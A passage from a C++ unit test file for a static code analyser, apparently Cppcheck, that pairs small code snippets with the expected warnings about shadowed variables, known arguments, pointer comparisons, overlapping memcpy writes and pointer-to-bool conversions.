not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n 